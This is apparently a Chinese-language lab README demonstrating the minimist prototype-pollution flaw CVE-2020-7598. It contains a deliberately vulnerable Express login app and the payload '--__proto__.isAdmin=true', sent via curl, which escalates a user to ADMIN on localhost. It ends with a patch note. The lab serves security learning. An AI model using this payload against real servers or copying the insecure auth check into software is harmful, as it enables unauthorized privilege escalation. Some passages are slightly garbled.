本项目仅用于:
未经授权请勿用于任何系统。
CVE-2020-7598 是 npm 包中的原型污染漏洞:
< 0.2.1>= 1.0.0 < 1.2.3此漏洞允许攻击者修改:
Object.prototype
通过类似以下payload:
--__proto__.isAdmin=true
导致:
在JavaScript中:
const user = {};
空对象仍然从:
Object.prototype
继承属性。
如果攻击者成功执行:
Object.prototype.isAdmin = true;
那么:
({}).isAdmin
将返回:
true
对于所有普通对象。
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
或者手动:
npm install express [email protected]
创建文件:
app.js
内容:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulasi database user
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Endpoint vulnerable
*/
app.get("/parse", (req, res) => {
/*
Ambil raw query
*/
const payload = req.query.payload;
/*
Ubah jadi array argument CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Vulnerable parsing
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Login endpoint
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Vulnerable auth logic
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
输出:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
输出:
{
"success": true,
"role": "USER"
}
打开浏览器:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
或者使用curl:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
服务器终端:
GLOBAL isAdmin: true
这意味着:
Object.prototype.isAdmin = true
已成功修改。
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
输出:
{
"success": true,
"role": "ADMIN"
}
然而:
isAdmin 属性。以下代码:
if(user.isAdmin)
不仅检查对象自身的属性。
JavaScript 将查找:
因为攻击者成功修改了:
Object.prototype.isAdmin = true
因此所有普通对象都继承了该属性。
服务器日志:
Own property: false
user.isAdmin: true
这意味着:
isAdmin 不是用户自身的属性,安全版本 minimist:
npm install minimist@latest
已修补版本阻止以下属性:
__proto__constructorprototype从而原型污染不再成功。
本实验室和文档是为学习 Node.js 应用程序安全及原型污染研究而制作的。